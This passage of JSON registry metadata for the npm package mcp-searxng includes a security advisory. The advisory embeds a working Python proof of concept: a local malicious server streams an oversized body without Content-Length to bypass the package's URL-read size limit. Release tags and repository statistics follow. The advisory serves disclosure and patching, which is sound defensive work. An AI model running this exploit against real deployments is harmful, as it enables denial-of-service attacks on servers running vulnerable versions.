charset=utf-8\")\n        # Deliberately omitting Content-Length — this is the bypass trigger\n        self.end_headers()\n\n    def do_GET(self):\n        global g_get_count, g_bytes_sent\n        g_get_count += 1\n        print(\n            f\"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}\"\n            f\" — streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        # Deliberately NO Content-Length header\n        self.end_headers()\n\n        # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.\n        # Simple structure keeps NodeHtmlMarkdown conversion fast.\n        header = b\"\u003chtml\u003e\u003cbody\u003e\u003cpre\u003e\"\n        footer = b\"\u003c/pre\u003e\u003c/body\u003e\u003c/html\u003e\"\n        payload_char = b\"A\"\n        target = BODY_SIZE_BYTES - len(header) - len(footer)\n        chunk_size = 65536  # 64 KiB chunks\n        total = 0\n        try:\n            self.wfile.write(header)\n            total += len(header)\n            while total \u003c BODY_SIZE_BYTES - len(footer):\n                chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)\n                self.wfile.write(chunk)\n                total += len(chunk)\n            self.wfile.write(footer)\n            total += len(footer)\n        except (BrokenPipeError, OSError):\n            pass  # client may close early on abort\n        g_bytes_sent = total\n        print(f\"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}\", flush=True)\n\n\ndef run_evil_server():\n    srv = HTTPServer((\"127.0.0.1\", EVIL_PORT), MaliciousHandler)\n    srv.serve_forever()\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\ndef wait_for_port(host: str, port: int, timeout: float = 30) -\u003e bool:\n    deadline = time.monotonic() + timeout\n    while time.monotonic() \u003c deadline:\n        try:\n            with socket.create_connection((host, port), timeout=1):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(0.3)\n    return False\n\n\ndef http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -\u003e tuple[bytes, str, str | None]:\n    \"\"\"POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id).\"\"\"\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n    if session_id:\n        headers[\"mcp-session-id\"] = session_id\n\n    data = json.dumps(payload).encode()\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    with urllib.request.urlopen(req, timeout=timeout) as resp:\n        body = resp.read()\n        ct   = resp.headers.get(\"content-type\", \"\")\n        sid  = resp.headers.get(\"mcp-session-id\")\n        return body, ct, sid\n\n\ndef parse_mcp_response(body: bytes, content_type: str) -\u003e dict | None:\n    \"\"\"Parse a JSON or SSE-wrapped JSON-RPC response.\"\"\"\n    if \"text/event-stream\" in content_type:\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n    try:\n        return json.loads(body)\n    except json.JSONDecodeError:\n        # Fallback: try SSE even if content-type says JSON\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=\" * 72, flush=True)\n    print(\"VULN-002 PoC — Unbounded Response Body Read Bypasses URL Size Limit\", flush=True)\n    print(\"=\" * 72, flush=True)\n    print(f\"  DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(f\"  EVIL_BODY_SIZE_BYTES             : {BODY_SIZE_BYTES:,}\", flush=True)\n    print(f\"  BYTES_OVER_LIMIT                 : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start the malicious HTTP server\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...\", flush=True)\n    evil_thread = threading.Thread(target=run_evil_server, daemon=True)\n    evil_thread.start()\n    if not wait_for_port(\"127.0.0.1\", EVIL_PORT, timeout=5):\n        print(\"[ERROR] Malicious server failed to start within 5 s\", flush=True)\n        sys.exit(1)\n    print(\"[+] Malicious server ready\", flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 2: Start mcp-searxng in HTTP mode\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n    env = {\n        **os.environ,\n        \"MCP_HTTP_PORT\"             : str(MCP_PORT),\n        \"MCP_HTTP_HOST\"             : \"127.0.0.1\",\n        \"SEARXNG_URL\"               : \"http://127.0.0.1:8080\",   # not used in this test\n        # Allow 127.x URLs so the PoC can point at the local malicious server.\n        # (Real attacks target public servers — this env var enables local reproduction.)\n        \"MCP_HTTP_ALLOW_PRIVATE_URLS\": \"true\",\n        \"NODE_ENV\"                  : \"production\",\n    }\n    proc = subprocess.Popen(\n        [\"node\", \"/app/dist/cli.js\"],\n        env=env,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n    )\n\n    def stream_server_logs():\n        for line in proc.stdout:\n            print(f\"[MCP-SERVER] {line.decode(errors='replace').rstrip()}\", flush=True)\n\n    log_thread = threading.Thread(target=stream_server_logs, daemon=True)\n    log_thread.start()\n\n    if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=20):\n        print(\"[ERROR] mcp-searxng HTTP server failed to start within 20 s\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(\"[+] mcp-searxng HTTP server ready\", flush=True)\n\n    mcp_url = f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n\n    # ------------------------------------------------------------------\n    # Step 3: Initialize MCP session\n    # ------------------------------------------------------------------\n    print(\"[*] Initializing MCP session ...\", flush=True)\n    init_body, init_ct, session_id = http_post(\n        mcp_url,\n        payload={\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"vuln002-poc\", \"version\": \"1.0\"},\n            },\n        },\n    )\n    init_resp = parse_mcp_response(init_body, init_ct)\n    if not init_resp or \"result\" not in init_resp:\n        print(f\"[ERROR] initialize failed: {init_body[:400]}\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(f\"[+] Session initialized. session_id={session_id}\", flush=True)\n\n    # Send notifications/initialized (no response expected — ignore errors)\n    try:\n        http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"},\n            timeout=10,\n        )\n    except Exception:\n        pass  # 202 with empty body or similar non-error responses\n\n    # ------------------------------------------------------------------\n    # Step 4: Call web_url_read pointing at the malicious server\n    # ------------------------------------------------------------------\n    evil_url = f\"http://127.0.0.1:{EVIL_PORT}/\"\n    print(flush=True)\n    print(f\"[*] Calling web_url_read with URL: {evil_url}\", flush=True)\n    print(f\"    HEAD response will have NO Content-Length\", flush=True)\n    print(f\"    =\u003e checkContentLength() returns null\", flush=True)\n    print(f\"    =\u003e guard at url-reader.ts:359 is bypassed\", flush=True)\n    print(f\"    =\u003e response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes\", flush=True)\n\n    t_start = time.monotonic()\n    try:\n        tool_body, tool_ct, _ = http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\n                \"jsonrpc\": \"2.0\",\n                \"id\": 2,\n                \"method\": \"tools/call\",\n                \"params\": {\n                    \"name\": \"web_url_read\",\n                    \"arguments\": {\"url\": evil_url, \"maxLength\": 1},\n                },\n            },\n            timeout=120,\n        )\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(tool_body, tool_ct)\n    except urllib.error.HTTPError as e:\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(e.read(), e.headers.get(\"content-type\", \"\"))\n    except Exception as e:\n        elapsed = time.monotonic() - t_start\n        print(f\"[WARN] tool call exception: {e}\", flush=True)\n        tool_resp = None\n\n    # Give the evil server thread a moment to flush its final log\n    time.sleep(0.5)\n\n    # ------------------------------------------------------------------\n    # Step 5: Collect and report evidence\n    # ------------------------------------------------------------------\n    print(flush=True)\n    print(\"=\" * 72, flush=True)\n    print(\"[EVIDENCE]\", flush=True)\n    print(f\"  HEAD_REQUESTS              : {g_head_count}\", flush=True)\n    print(f\"  GET_REQUESTS               : {g_get_count}\", flush=True)\n    print(f\"  GET_BYTES_SENT             : {g_bytes_sent:,}\", flush=True)\n    print(f\"  CONFIGURED_DEFAULT_LIMIT   : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(\n        f\"  BYTES_OVER_LIMIT           : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}\",\n        flush=True,\n    )\n    print(f\"  ELAPSED_SEC                : {elapsed:.2f}\", flush=True)\n\n    if tool_resp:\n        if \"error\" in tool_resp:\n            err = tool_resp[\"error\"]\n            print(\n                f\"  TOOL_STATUS                : ERROR code={err.get('code')} \"\n                f\"msg={str(err.get('message', ''))[:120]}\",\n                flush=True,\n            )\n        elif \"result\" in tool_resp:\n            content = tool_resp[\"result\"].get(\"content\", [])\n            text = content[0].get(\"text\", \"\") if content else \"\"\n            print(f\"  TOOL_STATUS                : SUCCESS\", flush=True)\n            print(f\"  RETURNED_LENGTH_CHARS      : {len(text)}\", flush=True)\n            print(f\"  RETURNED_EXCERPT           : {repr(text[:80])}\", flush=True)\n    else:\n        print(f\"  TOOL_STATUS                : (raw) {tool_body[:200] if tool_body else b'\u003cno body\u003e'}\", flush=True)\n\n    print(\"=\" * 72, flush=True)\n\n    # ------------------------------------------------------------------\n    # Verdict\n    # ------------------------------------------------------------------\n    bypass_confirmed = g_bytes_sent \u003e DEFAULT_MAX_CONTENT_LENGTH\n\n    if bypass_confirmed:\n        print(flush=True)\n        print(\"[PASS] VULNERABILITY CONFIRMED\", flush=True)\n        print(\n            f\"  {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a \"\n            f\"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH // (1024*1024)} MiB) limit.\",\n            flush=True,\n        )\n        print(f\"  Root cause confirmed:\", flush=True)\n        print(f\"    1. HEAD response had no Content-Length header.\", flush=True)\n        print(f\"    2. checkContentLength() returned null  (url-reader.ts:243-245)\", flush=True)\n        print(f\"    3. Guard condition was false (null !== null =\u003e false) (url-reader.ts:359)\", flush=True)\n        print(f\"    4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)\", flush=True)\n        proc.terminate()\n        sys.exit(0)\n    else:\n        print(flush=True)\n        if g_get_count == 0:\n            print(\"[FAIL] GET request was never received — mcp-searxng did not fetch from the evil server\", flush=True)\n        else:\n            print(\n                f\"[FAIL] GET request received but bytes_sent={g_bytes_sent:,} \u003c= limit={DEFAULT_MAX_CONTENT_LENGTH:,}\",\n                flush=True,\n            )\n        proc.terminate()\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-19T21:42:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-xcqx-9jf5-w339","https://github.com/advisories/GHSA-xcqx-9jf5-w339"],"source_kind":"github","identifiers":["GHSA-xcqx-9jf5-w339"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-19T22:00:09.234Z","updated_at":"2026-10-14T10:03:37.049Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y3F4LTlqZjUtdzMzOc4ABZNA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Y3F4LTlqZjUtdzMzOc4ABZNA","packages":[{"ecosystem":"npm","package_name":"mcp-searxng","versions":[{"first_patched_version":"1.7.1","vulnerable_version_range":"\u003c 1.7.1"}],"purl":"pkg:npm/mcp-searxng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y3F4LTlqZjUtdzMzOc4ABZNA/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/mcp-searxng","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/mcp-searxng","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/mcp-searxng/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-13T12:05:03.839Z","issues_count":25,"pull_requests_count":157,"avg_time_to_close_issue":1215908.8125,"avg_time_to_close_pull_request":193750.85507246378,"issues_closed_count":16,"pull_requests_closed_count":138,"pull_request_authors_count":24,"issue_authors_count":25,"avg_comments_per_issue":3.36,"avg_comments_per_pull_request":1.8789808917197452,"merged_pull_requests_count":102,"bot_issues_count":0,"bot_pull_requests_count":57,"past_year_issues_count":16,"past_year_pull_requests_count":148,"past_year_avg_time_to_close_issue":1460293.75,"past_year_avg_time_to_close_pull_request":193221.37313432837,"past_year_issues_closed_count":12,"past_year_pull_requests_closed_count":134,"past_year_pull_request_authors_count":16,"past_year_issue_authors_count":16,"past_year_avg_comments_per_issue":3.6875,"past_year_avg_comments_per_pull_request":1.9864864864864864,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":57,"past_year_merged_pull_requests_count":98,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/issues","maintainers":[{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}],"active_maintainers":[{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/mcp-searxng/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/mcp-searxng/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/mcp-searxng/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/mcp-searxng/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/mcp-searxng/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/mcp-searxng/codemeta","maintainers":[{"uuid":"ihor-sokoliuk","login":"ihor-sokoliuk","name":null,"email":"isokoliuk7@gmail.com","url":null,"packages_count":1,"html_url":"https://www.npmjs.com/~ihor-sokoliuk","role":null,"created_at":"2025-04-17T00:28:24.284Z","updated_at":"2025-04-17T00:28:24.284Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ihor-sokoliuk/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5979924,"maintainers_count":1278739,"namespaces_count":448831,"keywords_count":929963,"github":"npm","metadata":{"funded_packages_count":209043,"rate_limit":3},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-10-17T05:05:21.841Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":13924803,"name":"@iflow-mcp/ihor-sokoliuk-mcp-searxng","ecosystem":"npm","description":"MCP server for SearXNG integration","homepage":"https://github.com/ihor-sokoliuk/mcp-searxng","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/ihor-sokoliuk/mcp-searxng","keywords_array":["mcp","modelcontextprotocol","searxng","search","web-search","claude","ai","pagination","smithery","url-reader"],"namespace":"iflow-mcp","versions_count":1,"first_release_published_at":"2026-02-27T21:46:06.201Z","latest_release_published_at":"2026-02-27T21:46:06.201Z","latest_release_number":"0.9.1","last_synced_at":"2026-10-16T16:59:31.940Z","created_at":"2026-03-02T00:09:36.566Z","updated_at":"2026-10-16T16:59:31.940Z","registry_url":"https://www.npmjs.com/package/@iflow-mcp/ihor-sokoliuk-mcp-searxng","install_command":"npm install @iflow-mcp/ihor-sokoliuk-mcp-searxng","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.9.1"},"contentPolicy":null},"repo_metadata":{"id":270404339,"uuid":"907172461","full_name":"ihor-sokoliuk/mcp-searxng","owner":"ihor-sokoliuk","description":"Private web search for AI assistants via SearXNG — supports Claude, Cursor, and any MCP client","archived":false,"fork":false,"pushed_at":"2026-10-10T19:17:22.000Z","size":1793,"stargazers_count":1292,"open_issues_count":0,"forks_count":163,"subscribers_count":4,"default_branch":"main","last_synced_at":"2026-10-10T20:45:33.141Z","etag":null,"topics":["ai","claude","cursor","llm","mcp","mcp-server","mcp-servers","privacy","search","searxng","self-hosted","web-search"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/mcp-searxng","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ihor-sokoliuk.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2024-12-23T02:00:51.000Z","updated_at":"2026-10-10T19:17:23.000Z","dependencies_parsed_at":"2026-08-27T15:45:07.609Z","dependency_job_id":"2ba83c2e-dc53-4e03-a35a-2de122068569","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng","commit_stats":null,"previous_names":["ihor-sokoliuk/mcp-searxng"],"tags_count":83,"template":false,"template_full_name":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343680568,"owners_count":38170221,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-10T02:00:07.419Z","response_time":65,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ihor-sokoliuk","name":"Ihor Sokoliuk","uuid":"17313213","kind":"user","description":"Staff Engineer · Agentic AI \u0026 MCP servers · Distributed Systems · Python / Go","email":"","website":"https://linkedin.com/in/ihorsokoliuk","location":"Austin, TX","twitter":null,"company":"Grid Dynamics","icon_url":"https://avatars.githubusercontent.com/u/17313213?u=c412adec9c62902adaea814ee18bf5267c25ea80\u0026v=4","repositories_count":15,"last_synced_at":"2026-10-03T18:48:37.615Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/ihor-sokoliuk","funding_links":[],"total_stars":1275,"followers":17,"following":1,"created_at":"2024-12-30T22:27:30.363Z","updated_at":"2026-10-03T18:48:37.750Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk/repositories"},"tags":[{"name":"v2.1.0","sha":"317c85c986177258fa2960142477f806d3a04b2b","kind":"commit","published_at":"2026-08-25T17:57:45.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v2.1.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"c80b83d9437738c7fa2a027b4b113de89c7db448","kind":"commit","published_at":"2026-08-21T15:48:49.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v2.0.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.0.0/manifests"},{"name":"v1.16.0","sha":"02ed57341b482b4d0430d728709c9ebf43bac82f","kind":"commit","published_at":"2026-08-20T00:35:53.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.16.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"1046b789bf55349421b148fd0630da0124702d28","kind":"commit","published_at":"2026-08-11T14:34:50.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.15.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.15.0/manifests"},{"name":"v1.14.1","sha":"6cf8373c03cde21c9b590f91f4677ebf0ec1fdae","kind":"commit","published_at":"2026-08-07T03:09:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.14.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.1/manifests"},{"name":"v1.14.0","sha":"edd31ef3e7b475d3a3a09e3f36422daf592e61ee","kind":"commit","published_at":"2026-08-01T02:18:33.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.14.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"0b0bcd8aab9ab9136304148c289acc24f171fc09","kind":"commit","published_at":"2026-07-30T23:24:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.13.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.13.0/manifests"},{"name":"v1.12.1","sha":"850af5c0da7193c0d3657b0fb6db56c1bbe91099","kind":"commit","published_at":"2026-07-29T02:48:48.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.12.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"cf545d041cf3471e9522ee7bb2bc6bbdd59d5d18","kind":"commit","published_at":"2026-07-26T00:16:33.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.12.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.0/manifests"},{"name":"v1.11.1","sha":"fca8493e124c5fc4dcfa3c107b73fb46efa14210","kind":"commit","published_at":"2026-07-14T16:57:37.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.11.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.1/manifests"},{"name":"v1.11.0","sha":"e47e4190b3c7b7f1913e9339029945a9e7c514b8","kind":"commit","published_at":"2026-07-07T04:48:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.11.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.0/manifests"},{"name":"v1.10.1","sha":"755e19c4f0a3278a2f985b7a0db440230d59be63","kind":"commit","published_at":"2026-07-04T18:41:44.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.10.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.10.1","dependencies_parsed_at":null,"depe